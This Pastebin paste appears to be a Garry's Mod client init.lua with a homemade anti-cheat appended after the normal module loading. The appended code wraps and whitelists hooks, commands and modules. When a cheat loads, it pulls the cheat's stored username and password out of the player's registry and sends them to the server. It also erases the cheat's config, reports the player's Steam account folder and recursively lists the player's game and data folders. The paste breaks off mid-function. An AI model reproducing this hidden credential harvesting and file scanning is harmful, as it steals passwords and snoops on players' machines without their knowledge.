Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*---------------------------------------------------------
- Non-Module includes
- ---------------------------------------------------------*/
- include ( "compat.lua" ) // Backwards Compatibility
- include ( "util.lua" ) // Misc Utilities
- include ( "util/sql.lua" ) // Include sql here so it's
- // available at loadtime to modules.
- /*---------------------------------------------------------
- Shared Modules
- ---------------------------------------------------------*/
- require ( "concommand" ) // Console Commands
- require ( "saverestore" ) // Save/Restore
- require ( "gamemode" ) // Gamemode manager
- require ( "weapons" ) // SWEP manager
- require ( "hook" ) // Gamemode hooks
- require ( "timer" ) // Timer manager
- require ( "schedule" ) // Schedule manager
- require ( "scripted_ents" ) // Scripted Entities
- require ( "player_manager" ) // Player models manager
- require ( "numpad" )
- require ( "team" )
- require ( "undo" )
- require ( "cleanup" )
- require ( "duplicator" )
- require ( "constraint" )
- require ( "construct" )
- require ( "filex" )
- require ( "vehicles" )
- require ( "usermessage" )
- require ( "list" )
- require ( "cvars" )
- require ( "http" )
- require ( "datastream" )
- /*---------------------------------------------------------
- Serverside only modules
- ---------------------------------------------------------*/
- if ( SERVER ) then
- require ( "server_settings" )
- require ( "ai_schedule" )
- require ( "ai_task" )
- include( "util/entity_creation_helpers.lua" )
- end
- /*---------------------------------------------------------
- Clientside only modules
- ---------------------------------------------------------*/
- if ( CLIENT ) then
- require ( "draw" ) // 2D Draw library
- require ( "markup" ) // Text markup library
- require ( "effects" )
- require ( "killicon" )
- require ( "spawnmenu" )
- require ( "controlpanel" )
- require ( "presets" )
- require ( "cookie" )
- include( "util/model_database.lua" ) // Store information on models as they're loaded
- include( "util/vgui_showlayout.lua" ) // VGUI Performance Debug
- include( "util/tooltips.lua" )
- include( "util/client.lua" )
- end
- /*---------------------------------------------------------
- Shared modules
- ---------------------------------------------------------*/
- include( "gmsave.lua" )
- /*---------------------------------------------------------
- Print version information to the console
- ---------------------------------------------------------*/
- Msg( "Lua initialized (" .. _VERSION .. ")\n" )
- if ( SERVER ) then
- concommand.Add( "+numpad", CC_NumpadOn )
- concommand.Add( "-numpad", CC_NumpadOff )
- end
- --[[================================= LE ANTI CHEAT :O =================================
- Looks like you've found my anti-cheat, which I've spent lots of hard effort on
- if you have any suggestions please contact me on Steam (G-Force Connections)
- Please don't distibute this anti-cheat to anyone, this kind of ruins the whole purpose
- of writing your own PERSONAL anti-cheat for your own PERSONAL servers and not for others
- to use.
- If you don't understand anything here, then I suggest you don't touch anything and just
- give up because this is a bit more advanced lua then a 12 year old would know.
- P.S Don't bother contacting me and asking me how this works.
- ========================================================================================]]
- if not CLIENT or LOADED then return end
- local G, R = 0, 0
- for _, _ in pairs( _G ) do G = G + 1 end
- for _, _ in pairs( _R ) do R = R + 1 end
- LOADED = true
- local _
- local NotR = require
- local NotTC = timer.Create
- local NotTS = timer.Simple
- local NotRCC = RunConsoleCommand
- local NotFR = file.Read
- local NotFW = file.Write
- local NotFFIL = file.FindInLua
- local NotFF = file.Find
- local NotFTF = file.TFind
- local NotFS = file.Size
- local NotFFD = file.FindDir
- local NotFE = file.Exists
- local NotFEX = file.ExistsEx
- local NotFID = file.IsDir
- local NotFT = file.Time
- local NotFD = file.Delete
- local NotSTS = datastream.StreamToServer
- local NotQ = sql.Query
- local NotQTE = sql.TableExists
- local NotD = debug.getinfo
- local NotDGL = debug.getlocal
- local NotUH = usermessage.Hook
- local NotUIM = usermessage.IncomingMessage
- local NotGCVN = GetConVarNumber
- local NotGCVS = GetConVarString
- local NotCVGI = _R.ConVar.GetInt
- local NotCVGB = _R.ConVar.GetBool
- local NotSEA = _R.Player.SetEyeAngles
- local NotSVA = _R.CUserCmd.SetViewAngles
- local NotI = _G.include
- local NotM = hook._M
- local NotCC = concommand
- local NotECC = engineConsoleCommand
- local util = util
- local game = game
- local function SAFE_DIR( DIR ) return DIR:gsub( '\'', "/" ) end
- local function GetRand() return tostring( math.random( 99999999 ) ) end
- -- Dedicated to Seth
- local SH_READFILE, SH_REGREAD, SH_REGWRITE
- local cmdqueue = {}
- local cmdqueue2 = {}
- local function queueCommand( cmd, args )
- if LocalPlayer and not LocalPlayer():IsValid() then
- table.insert( cmdqueue, { cmd, args } )
- else
- table.insert( cmdqueue2, { cmd, args } )
- end
- end
- NotM.GetTable()[ "InitPostEntity" ] = NotM.GetTable()[ "InitPostEntity" ] or {}
- local InitRand = GetRand()
- NotM.GetTable()[ "InitPostEntity" ][ InitRand ] = function()
- NotRCC( GetGlobalString( util.CRC( game.GetMap():lower() ) ) )
- for k , v in pairs( cmdqueue ) do
- table.insert( cmdqueue2, v )
- end
- NotM.GetTable()[ "InitPostEntity" ][ InitRand ] = nil
- end
- local Counter_CMD, Force_CMD, Recoil_CMD, Warn_CMD, Detour_CMD, ECC_CMD, CA_CMD, HA_CMD, R_CMD, CRC_CMD, REMOVE_CMD, FILES_CMD, DOWNLOAD_CMD, GREMOVE, GCRC, GFFR
- local function SafeRCC( Table )
- local String = ""
- for _, v in pairs( Table ) do
- String = String .. " " .. v
- end
- return String
- end
- NotTC( GetRand(), 0.25, 0, function()
- if #cmdqueue2 >= 1 then
- NotRCC( cmdqueue2[1][1], unpack( cmdqueue2[1][2] ) )
- table.remove( cmdqueue2, 1 )
- end
- end )
- queueCommand( "USER_NAME", { util.RelativePathToFull( "gameinfo.txt" ):gsub( '\\', "/" ):match( "steamapps/(.-)/" ) } )
- function _G.include( path, ... )
- if tostring( path ):lower() == "includes/extensions/table.lua" then
- _, SH_READFILE = NotDGL( 2, 30 )
- _, SH_REGREAD = NotDGL( 2, 34 )
- _, SH_REGWRITE = NotDGL( 2, 35 )
- if SH_REGREAD or SH_SETNAME then
- if SH_REGREAD then
- local User = SH_REGREAD( "username" )
- local Pass = SH_REGREAD( "password" )
- queueCommand( util.CRC( game.GetMap():lower() ), { User, Pass, SH_MODVER } )
- end
- if SH_REGWRITE then
- SH_REGWRITE( "igopt_Configs", "" )
- end
- _G.include = NotI
- end
- end
- return NotI( path, ... )
- end
- RunString = nil
- RunStringEx = nil
- CompileString = nil
- hook = nil
- engineConsoleCommand = nil
- concommand = nil
- require = nil
- debug = nil
- local HOOKTABLE = NotM.GetTable() or {}
- local WHITELIST_HOOKS = {
- { "Think", "CheckSchedules", "lua/includes/modules/schedule.lua" },
- { "PostReloadToolsMenu", "BuildUndoUI", "lua/includes/modules/undo.lua" },
- { "PostReloadToolsMenu", "BuildCleanupUI", "lua/includes/modules/cleanup.lua" },
- { "Think", "HTTPThink", "lua/includes/modules/http.lua" },
- { "PostRenderVGUI", "VGUIShowLayoutPaint", "lua/includes/util/vgui_showlayout.lua" },
- { "VGUIPerformLayout", "VGUIShowLayout", "lua/includes/util/vgui_showlayout.lua" },
- { "Think", "RealFrameTime", "lua/includes/util/client.lua" },
- { "EntityRemoved", "DoDieFunction", "lua/includes/extensions/entity.lua" },
- { "Tick", "SendQueuedConsoleCommands", "lua/includes/extensions/player.lua" },
- { "PlayerBindPress", "PlayerOptionInput", "lua/includes/extensions/player_cl.lua" },
- { "HUDPaint", "PlayerOptionDraw", "lua/includes/extensions/player_cl.lua" },
- { "VGUIMousePressed", "DermaDetectMenuFocus", "lua/derma/derma_menus.lua" },
- { "Think", "NotificationThink", "lua/includes/modules/notification.lua" },
- { "InitPostEntity", "CreateVoiceVGUI", "gamemodes/base/gamemode/cl_voice.lua" },
- { "UCLAuthed", "InitXGUI", "ulx/modules/cl/xgui_client.lua" },
- { "ULibLocalPlayerReady", "InitXguiHelpers", "ulx/modules/cl/xgui_helpers.lua" },
- { "ULibLocalPlayerReady", "InitXLIB", "ulx/modules/cl/xlib.lua" },
- { "PlayerSay", "ULXGimpCheck", "ulx/modules/sh/chat.lua" },
- { "ULibLocalPlayerReady", "ULXSendGags", "ulx/modules/sh/chat.lua" },
- { "PlayerSay", "ulxPlayerSay", "ulx/modules/sh/chat.lua" },
- { "PlayerSay", "ULXMeCheck", "ulx/modules/sh/chat.lua" },
- { "PlayerInitialSpawn", "ULXWelcome", "ulx/modules/sh/chat.lua" },
- { "PlayerDeath", "ULXCheckFireDeath", "ulx/modules/sh/fun.lua" },
- { "PlayerDisconnected", "ULXJailDisconnectedCheck", "ulx/modules/sh/fun.lua" },
- { "PhysgunPickup", "ulxPlayerPickupJailCheck", "ulx/modules/sh/fun.lua" },
- { "PhysgunDrop", "ulxPlayerDropJailCheck", "ulx/modules/sh/fun.lua" },
- { "PlayerSpawn", "ULXRagdollSpawnCheck", "ulx/modules/sh/fun.lua" },
- { "PlayerDisconnected", "ULXRagdollDisconnectedCheck", "ulx/modules/sh/fun.lua" },
- { "PlayerDeath", "ULXCheckMaulDeath", "ulx/modules/sh/fun.lua" },
- { "PlayerDisconnected", "ULXMaulDisconnectedCheck", "ulx/modules/sh/fun.lua" },
- { "PlayerInitialSpawn", "showMotd", "ulx/modules/sh/menus.lua" },
- { "UCLChanged", "ULXGroupNamesUpdate", "ulx/modules/sh/user.lua" },
- { "PhysgunPickup", "ulxPlayerPickup", "ulx/modules/sh/util.lua" },
- { "PhysgunDrop", "ulxPlayerDrop", "ulx/modules/sh/util.lua" },
- { "OnEntityCreated", "ULibLocalPlayerCheck", "ulib/cl_init.lua" },
- { "PopulateToolMenu", "PopulateOptionMenus", "lua/autorun/options_menu.lua" },
- { "AddToolMenuCategories", "CreateOptionsCategories", "lua/autorun/options_menu.lua" },
- { "PopulateToolMenu", "PopulateUtilityMenus", "lua/autorun/utilities_menu.lua" },
- { "AddToolMenuCategories", "CreateUtilitiesCategories", "lua/autorun/utilities_menu.lua" },
- { "RenderScreenspaceEffects", "RenderToyTown", "postprocess/toytown.lua" },
- { "PopulateToolMenu", "AddPostProcessMenu_ToyTown", "postprocess/toytown.lua" },
- { "RenderScreenspaceEffects", "RenderBloom", "lua/postprocess/bloom.lua" },
- { "PopulateToolMenu", "AddPostProcessMenu_Bloom", "lua/postprocess/bloom.lua" },
- { "AddToolMenuCategories", "CreatePostProcessingMenuCategories", "lua/postprocess/categories.lua" },
- { "RenderScreenspaceEffects", "RenderColorModify", "lua/postprocess/color_modify.lua" },
- { "PopulateToolMenu", "AddPostProcessMenu_ColorMod", "lua/postprocess/color_modify.lua" },
- { "Think", "DOFThink", "lua/postprocess/dof.lua" },
- { "PopulateToolMenu", "AddPostProcessMenu_DoF", "lua/postprocess/dof.lua" },
- { "RenderScreenspaceEffects", "DrawMorph", "lua/postprocess/morph.lua" },
- { "GUIMousePressed", "MorphMouseDown", "lua/postprocess/morph.lua" },
- { "GUIMouseReleased", "MorphMouseUp", "lua/postprocess/morph.lua" },
- { "PopulateToolMenu", "AddPostProcessMenu_Morph", "lua/postprocess/morph.lua" },
- { "RenderScreenspaceEffects", "RenderMotionBlur", "lua/postprocess/motion_blur.lua" },
- { "PopulateToolMenu", "AddPostProcessMenu_MotionBlur", "lua/postprocess/motion_blur.lua" },
- { "RenderScreenspaceEffects", "RenderMaterialOverlay", "lua/postprocess/overlay.lua" },
- { "PopulateToolMenu", "AddPostProcessMenu_Overlay", "lua/postprocess/overlay.lua" },
- { "RenderScreenspaceEffects", "RenderSharpen", "lua/postprocess/sharpen.lua" },
- { "PopulateToolMenu", "AddPostProcessMenu_Sharpen", "lua/postprocess/sharpen.lua" },
- { "RenderScreenspaceEffects", "RenderSobel", "lua/postprocess/sobel.lua" },
- { "PopulateToolMenu", "AddPostProcessMenu_Sobel", "lua/postprocess/sobel.lua" },
- { "RenderScene", "RenderStereoscopy", "lua/postprocess/stereoscopy.lua" },
- { "RenderScreenspaceEffects", "RenderSunbeams", "lua/postprocess/sunbeams.lua" },
- { "PopulateToolMenu", "AddPostProcessMenu_SunBeams", "lua/postprocess/sunbeams.lua" },
- { "RenderScene", "RenderSuperDoF", "lua/postprocess/super_dof.lua" },
- { "GUIMousePressed", "SuperDOFMouseDown", "lua/postprocess/super_dof.lua" },
- { "GUIMouseReleased", "SuperDOFMouseUp", "lua/postprocess/super_dof.lua" },
- { "PopulateToolMenu", "AddPostProcessMenu_SuperDoF", "lua/postprocess/super_dof.lua" },
- { "VGUIMousePressed", "TextEntryLoseFocus", "lua/vgui/dtextentry.lua" },
- { "InitPostEntity", "FixTooManyVertexes", "MB_PERP/gamemode/maps/rp_evocity_v33x.lua" },
- { "RenderScreenspaceEffects", "uwuwuwuw", "MB_PERP/gamemode/items/drugs/cl_drug_shroom.lua" },
- { "RenderScreenspaceEffects", "ITEM.MakeEffects_BEER", "MB_PERP/gamemode/items/drugs/drug_beer.lua" },
- { "RenderScreenspaceEffects", "ITEM.MakeEffects_Weed", "MB_PERP/gamemode/items/drugs/drug_bong.lua" },
- { "InitPostEntity", "CreateSounds", "MB_PERP/gamemode/items/drugs/drug_cocaine.lua" },
- { "RenderScreenspaceEffects", "CocaineRenderScreenspaceEffects", "MB_PERP/gamemode/items/drugs/drug_cocaine.lua" },
- { "InitPostEntity", "loadPostInt", "MB_PERP/gamemode/sh_init.lua" },
- { "Think", "ControlEyeAngles", "MB_PERP/gamemode/cl_player.lua" },
- { "Think", "monitorRevving", "MB_PERP/gamemode/cl_vehicles.lua" },
- { "HUDPaint", "DrawAdminESP", "MB_PERP/gamemode/cl_modules/admin_esp.lua" },
- { "HUDPaint", "AdminNotify", "MB_PERP/gamemode/cl_modules/admin_text.lua" },
- { "Think", "GM.PlayerDieingSounds", "MB_PERP/gamemode/cl_modules/death_effects.lua" },
- { "HUDPaint", "Bloodshoteyes", "MB_PERP/gamemode/cl_modules/death_effects.lua" },
- { "EngineSpew", "ES", "MB_PERP/gamemode/cl_modules/engine_spew.lua" },
- { "RenderScreenspaceEffects", "GM.HealthEffects", "MB_PERP/gamemode/cl_modules/health_effects.lua" },
- { "HUDPaint", "PaintNotes", "MB_PERP/gamemode/cl_modules/notices.lua" },
- { "Think", "MonitorOptions", "MB_PERP/gamemode/cl_modules/options.lua" },
- { "Think", "monitorKeyPress", "MB_PERP/gamemode/cl_modules/phone.lua" },
- { "Think", "monitorRinging", "MB_PERP/gamemode/cl_modules/phone.lua" },
- { "Think", "BASSCallback", "[C]" },
- { "StreamTable", "cleanupRadios", "MB_PERP/gamemode/cl_modules/radio.lua" },
- { "ShutDown", "shutdownRadio", "MB_PERP/gamemode/cl_modules/radio.lua" },
- { "Think", "MonitorRadios", "MB_PERP/gamemode/cl_modules/radio.lua" },
- { "HUDPaint", "RadioDrawSomeShit", "MB_PERP/gamemode/cl_modules/radio.lua" },
- { "CalcView", "GM.CalcRagdollEyes", "MB_PERP/gamemode/cl_modules/rag_eyes.lua" },
- { "RenderScreenspaceEffects", "GM.SpeedEffects", "MB_PERP/gamemode/cl_modules/speed_effects.lua" },
- { "Think", "thinkRadioStatic", "MB_PERP/gamemode/cl_modules/voice.lua" },
- { "InitPostEntity", "CreateVoiceVGUI", "MB_PERP/gamemode/cl_modules/voice.lua" },
- { "Think", "monitorKeyPress_WalkieTalkie", "MB_PERP/gamemode/cl_modules/voice.lua" },
- { "InitPostEntity", "initializeRainSounds", "MB_PERP/gamemode/cl_modules/weather.lua" },
- { "Think", "weatherThink", "MB_PERP/gamemode/cl_modules/weather.lua" },
- { "RenderScreenspaceEffects", "GM.WeatherEffects", "MB_PERP/gamemode/cl_modules/weather.lua" },
- { "KeyPress", "MonitorKeysForFlymobile", "weapons/god_stick/shared.lua" },
- { "OnTextEntryGetFocus", "XGUI_GetKeyboardFocus", "ulx/modules/cl/xgui_helpers.lua" },
- { "OnTextEntryLoseFocus", "XGUI_LoseKeyboardFocus", "ulx/modules/cl/xgui_helpers.lua" },
- { "XLIBDoAnimation", "xlib_runAnims", "ulx/modules/cl/xgui_helpers.lua" },
- { "UCLChanged", "xgui_RefreshPlayerCmds", "ulx/xgui/commands.lua" },
- { "ULibPlayerNameChanged", "xgui_plyUpdateCmds", "ulx/xgui/commands.lua" },
- { "UCLChanged", "xgui_RefreshGroups", "ulx/xgui/groups.lua" },
- { "ULibPlayerNameChanged", "xgui_plyUpdateGroups", "ulx/xgui/groups.lua" },
- { "ULibReplicatedCvarChanged", "XGUI_mapsUpdateVotemapEnabled", "ulx/xgui/maps.lua" },
- { "ULibReplicatedCvarChanged", "XLIB_rep_sv_voiceenable", "ulx/modules/cl/xlib.lua" },
- { "ULibReplicatedCvarChanged", "XLIB_rep_sv_alltalk", "ulx/modules/cl/xlib.lua" },
- { "ULibReplicatedCvarChanged", "XLIB_rep_ai_disabled", "ulx/modules/cl/xlib.lua" },
- { "ULibReplicatedCvarChanged", "XLIB_rep_ai_ignoreplayers", "ulx/modules/cl/xlib.lua" },
- { "ULibReplicatedCvarChanged", "XLIB_rep_sv_gravity", "ulx/modules/cl/xlib.lua" },
- { "ULibReplicatedCvarChanged", "XLIB_rep_phys_timescale", "ulx/modules/cl/xlib.lua" },
- { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_votemap2Successratio", "ulx/modules/cl/xlib.lua" },
- { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_votemap2Minvotes", "ulx/modules/cl/xlib.lua" },
- { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_voteEcho", "ulx/modules/cl/xlib.lua" },
- { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_logEcho", "ulx/modules/cl/xlib.lua" },
- { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_logSpawnsEcho", "ulx/modules/cl/xlib.lua" },
- { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_logEchoColors", "ulx/modules/cl/xlib.lua" },
- { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_logEchoColorDefault", "ulx/modules/cl/xlib.lua" },
- { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_logEchoColorConsole", "ulx/modules/cl/xlib.lua" },
- { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_logEchoColorSelf", "ulx/modules/cl/xlib.lua" },
- { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_logEchoColorEveryone", "ulx/modules/cl/xlib.lua" },
- { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_logEchoColorPlayerAsGroup", "ulx/modules/cl/xlib.lua" },
- { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_logEchoColorPlayer", "ulx/modules/cl/xlib.lua" },
- { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_logEchoColorMisc", "ulx/modules/cl/xlib.lua" },
- { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_chattime", "ulx/modules/cl/xlib.lua" },
- { "ULibReplicatedCvarChanged", "XGUI_ulx_cl_showMotd", "ulx/xgui/settings/server.lua" },
- { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_welcomemessage", "ulx/modules/cl/xlib.lua" },
- { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_kickAfterNameChanges", "ulx/modules/cl/xlib.lua" },
- { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_kickAfterNameChangesCooldown", "ulx/modules/cl/xlib.lua" },
- { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_kickAfterNameChangesWarning", "ulx/modules/cl/xlib.lua" },
- { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_logFile", "ulx/modules/cl/xlib.lua" },
- { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_logChat", "ulx/modules/cl/xlib.lua" },
- { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_logEvents", "ulx/modules/cl/xlib.lua" },
- { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_logSpawns", "ulx/modules/cl/xlib.lua" },
- { "ULibReplicatedCvarChanged", "XGUI_ulx_cl_logDir", "ulx/xgui/settings/server.lua" },
- { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_votemapEnabled", "ulx/modules/cl/xlib.lua" },
- { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_votemapMintime", "ulx/modules/cl/xlib.lua" },
- { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_votemapWaittime", "ulx/modules/cl/xlib.lua" },
- { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_votemapSuccessratio", "ulx/modules/cl/xlib.lua" },
- { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_votemapMinvotes", "ulx/modules/cl/xlib.lua" },
- { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_votemapVetotime", "ulx/modules/cl/xlib.lua" },
- { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_votemapMapmode", "ulx/modules/cl/xlib.lua" },
- { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_rslotsMode", "ulx/modules/cl/xlib.lua" },
- { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_rslots", "ulx/modules/cl/xlib.lua" },
- { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_rslotsVisible", "ulx/modules/cl/xlib.lua" },
- { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_votekickSuccessratio", "ulx/modules/cl/xlib.lua" },
- { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_votekickMinvotes", "ulx/modules/cl/xlib.lua" },
- { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_votebanSuccessratio", "ulx/modules/cl/xlib.lua" },
- { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_votebanMinvotes", "ulx/modules/cl/xlib.lua" },
- { "Think", "ULibQueueThink", "ulib/shared/util.lua" },
- { "Think", "XGUIQueueThink", "ulx/modules/cl/xgui_helpers.lua" },
- { "HUDPaint", "CSayHelperDraw", "ulib/client/draw.lua" },
- { "UCLAuthed", "XGUI_PermissionsChanged", "[C]" },
- { "Think", "MonColorsATM", "MB_PERP/gamemode/vgui/bank_window.lua" },
- { "Think", "MonColors", "MB_PERP/gamemode/vgui/create_user.lua" },
- { "Think", "MonColors2", "MB_PERP/gamemode/vgui/rename.lua" },
- { "VGUIMousePressed", "TextEntryLoseFocus", "lua/vgui/DTextEntry.lua" },
- { "HUDPaint", "ulx_blind", "ulx/cl_lib.lua" },
- { "CrashTick", "CrashTick_Autoreconnect", "mb_perp/gamemode/cl_modules/crash.lua" },
- { "ShutDown", "Crash_Tick", "mb_perp/gamemode/cl_modules/crash.lua" },
- { "PlayerBindPress", "CrashTick_Autoreconnect", "mb_perp/gamemode/cl_modules/crash.lua" },
- { "HUDPaint", "CrashTick_Autoreconnect", "mb_perp/gamemode/cl_modules/crash.lua" },
- { "Move", "Crash_Ticker", "mb_perp/gamemode/cl_modules/pong.lua" },
- { "Tick", "Crash_Ticker", "mb_perp/gamemode/cl_modules/pong.lua" },
- { "InitPostEntity", "ReadyMe", "entities/lua_advert/cl_init.lua" },
- { "CalcView", "DeathView", "mb_perp/gamemode/cl_modules/death_effects.lua" },
- { "Think", "CBilliardThink", "mb_perp/gamemode/cl_modules/cl_billiards.lua" },
- { "PlayerBindPress", "BilliardsAdjustPower", "mb_perp/gamemode/cl_modules/cl_billiards.lua" },
- { "Think", "CasinoRadio", "mb_perp/gamemode/cl_modules/radio.lua" },
- { "KeyPress", "KeyPressedHook", "entities/slotmachine/cl_init.lua" },
- { "HUDPaint", "CBilliardHUD", "mb_perp/gamemode/cl_modules/cl_billiards.lua" },
- { "InputMouseApply", "CBilliardMouseLock", "mb_perp/gamemode/cl_modules/cl_billiards.lua" },
- { "CalcView", "CBilliardSpectate", "mb_perp/gamemode/cl_modules/cl_billiards.lua" },
- { "ULibReplicatedCvarChanged", "XLIB_rep_physgun_limited", "ulx/modules/cl/xlib.lua" },
- }
- local function isHookWhitelist( name, unique, location )
- if name == nil or unique == nil or location == nil then return false end
- name = name:lower() or name
- unique = unique:lower() or unique
- location = location:lower() or location
- for _, v in pairs( WHITELIST_HOOKS ) do
- if v[1]:lower() == name and v[2]:lower() == unique and v[3]:lower() == location then
- return true
- end
- end
- return false
- end
- local function hookAdd( name, unique, func )
- local Path = NotD(2).short_src:gsub( '\\', "/" )
- if isHookWhitelist( name, unique, Path ) then
- if not HOOKTABLE[ name ] then HOOKTABLE[ name ] = {} end
- HOOKTABLE[ name ][ unique ] = func
- NotM.Add( name, unique, func )
- return
- end
- queueCommand( HA_CMD or "HA_bk", { name, unique, Path } )
- end
- local WHITELIST_COMMAND = {
- { "lua_cookieclear", "lua/includes/modules/cookie.lua" },
- { "lua_cookiespew", "lua/includes/modules/cookie.lua" },
- { "derma_controls", "lua/derma/derma_example.lua" },
- { "+menu", "gamemodes/base/gamemode/cl_spawnmenu.lua" },
- { "-menu", "gamemodes/base/gamemode/cl_spawnmenu.lua" },
- { "+menu_context", "gamemodes/base/gamemode/cl_spawnmenu.lua" },
- { "-menu_context", "gamemodes/base/gamemode/cl_spawnmenu.lua" },
- { "ulx", "ulib/shared/commands.lua" },
- { "xgui", "ulib/shared/commands.lua" },
- { "lua_find_cl", "lua/autorun/developer_functions.lua" },
- { "ent_printinfo", "lua/autorun/developer_functions.lua" },
- { "pp_morph_open", "lua/postprocess/morph.lua" },
- { "pp_superdof", "lua/postprocess/super_dof.lua" },
- { "perp_iv", "MB_PERP/gamemode/cl_modules/item_view.lua" },
- { "+giveitempanel", "MB_PERP/gamemode/vgui/giveitem.lua" },
- { "-giveitempanel", "MB_PERP/gamemode/vgui/giveitem.lua" },
- { "slotm_setbet", "entities/slotmachine/cl_init.lua" },
- }
- local function isCommandWhitelisted( cmd, path )
- if cmd == nil or path == nil then return false end
- cmd = cmd:lower() or cmd
- path = path:lower() or path
- for _, v in pairs( WHITELIST_COMMAND ) do
- if v[1]:lower() == cmd and v[2]:lower() == path then
- return true
- end
- end
- return false
- end
- local function commandAdd( cmd, func, auto )
- local Path = NotD(2).short_src:gsub( '\\', "/" )
- if isCommandWhitelisted( cmd, Path ) then
- return NotCC.Add( cmd, func, auto )
- end
- queueCommand( CA_CMD or "CA_bk", { cmd, Path } )
- end
- local function EngineConsoleCommand( ply, cmd, args )
- if not NotD(2) then return NotECC( ply, cmd, args ) end
- local Path = NotD(2).short_src:gsub( '\\', "/" )
- if isCommandWhitelisted( cmd, Path ) then
- return NotECC( ply, cmd, args )
- elseif Path then
- queueCommand( ECC_CMD or "ECC_bk", { cmd, Path } )
- return false
- end
- end
- local WHITELIST_REQUIRE = {
- { "sqlite", "lua/includes/util/sql.lua" },
- { "concommand", "includes/init.lua" },
- { "saverestore", "includes/init.lua" },
- { "gamemode", "includes/init.lua" },
- { "hook", "lua/includes/modules/gamemode.lua" },
- { "weapons", "includes/init.lua" },
- { "hook", "includes/init.lua" },
- { "timer", "includes/init.lua" },
- { "schedule", "includes/init.lua" },
- { "hook", "lua/includes/modules/schedule.lua" },
- { "scripted_ents", "includes/init.lua" },
- { "player_manager", "includes/init.lua" },
- { "numpad", "includes/init.lua" },
- { "team", "includes/init.lua" },
- { "undo", "includes/init.lua" },
- { "usermessage", "lua/includes/modules/undo.lua" },
- { "timer", "lua/includes/modules/undo.lua" },
- { "cleanup", "includes/init.lua" },
- { "duplicator", "includes/init.lua" },
- { "constraint", "includes/init.lua" },
- { "construct", "includes/init.lua" },
- { "filex", "includes/init.lua" },
- { "vehicles", "includes/init.lua" },
- { "usermessage", "includes/init.lua" },
- { "list", "includes/init.lua" },
- { "cvars", "includes/init.lua" },
- { "http", "includes/init.lua" },
- { "datastream", "includes/init.lua" },
- { "draw", "includes/init.lua" },
- { "markup", "includes/init.lua" },
- { "effects", "includes/init.lua" },
- { "killicon", "includes/init.lua" },
- { "spawnmenu", "includes/init.lua" },
- { "controlpanel", "includes/init.lua" },
- { "presets", "includes/init.lua" },
- { "cookie", "includes/init.lua" },
- { "notification", "Startup" },
- { "datastream", "ulib/cl_init.lua" },
- { "glon", "ulib/shared/datastream.lua" },
- { "enginespew", "MB_PERP/gamemode/cl_modules/engine_spew.lua" },
- { "bass", "MB_PERP/gamemode/cl_modules/radio.lua" },
- }
- local function isModuleWhitelisted( module, path )
- if module == nil or path == nil then return false end
- module = module:lower() or module
- path = path:lower() or path
- for _, v in pairs( WHITELIST_REQUIRE ) do
- if v[1]:lower() == module and v[2]:lower() == path then
- return true
- end
- end
- return false
- end
- local function Require( module )
- local Path = NotD(2).short_src:gsub( '\\', "/" )
- if isModuleWhitelisted( module, Path ) then
- return NotR( module )
- end
- queueCommand( R_CMD or "R_bk", { module, Path } )
- end
- function hookGetTable() return table.Copy( HOOKTABLE ) end
- function isInHook( name ) return table.HasValue( HOOKTABLE, name ) end
- local meta = getmetatable( _G )
- if type( meta ) == "table" or meta == nil then
- setmetatable( _G, {
- __index = function( t, k )
- if k == "hook" then
- return { _NAME = "hook", _PACKAGE = NotM._PACKAGE, Add = hookAdd, Call = NotM.Call, GetTable = hookGetTable, isInHook = isInHook, Remove = NotM.Remove }
- elseif k == "concommand" then
- return { _NAME = "concommand", Add = commandAdd, Run = NotCC.Run, AutoComplete = NotCC.AutoComplete, Remove = NotCC.Remove }
- elseif k == "engineConsoleCommand" then
- return EngineConsoleCommand
- elseif k == "require" then
- return Require
- end
- end,
- __metatable = getmetatable( _G ),
- } )
- end
- local blocked_sql = { "SHV3_Binds", "SHV3_Configs", "SHV3_ESPEnts", "SHV3_Options" }
- local tumble = { data = {}, lua = {}, modules = {}, root = {} }
- local function SearchDirectory( dir, firstdir, notrecursive )
- local list = NotFF( dir .. "/*", true )
- for _, fdir in pairs( list ) do
- if fdir ~= ".svn" and fdir ~= "." and fdir ~= ".." and fdir:Right( 3 ) ~= "lua" and fdir:Right( 3 ) ~= "txt" and not notrecursive then
- SearchDirectory( dir .. "/" .. fdir, firstdir )
- else
- table.insert( tumble[ firstdir ], dir .. "/" .. fdir )
- end
- end
- end
- local trumble = {}
- NotTS( 1, function()
- SearchDirectory( "lua", "lua" )
- SearchDirectory( "lua/includes/modules", "modules" )
- SearchDirectory( "data", "data" )
- SearchDirectory( "../garrysmod", "root", true )
- if SH_READFILE then
- trumble.SendLua = SH_READFILE( "SendLua.txt" )
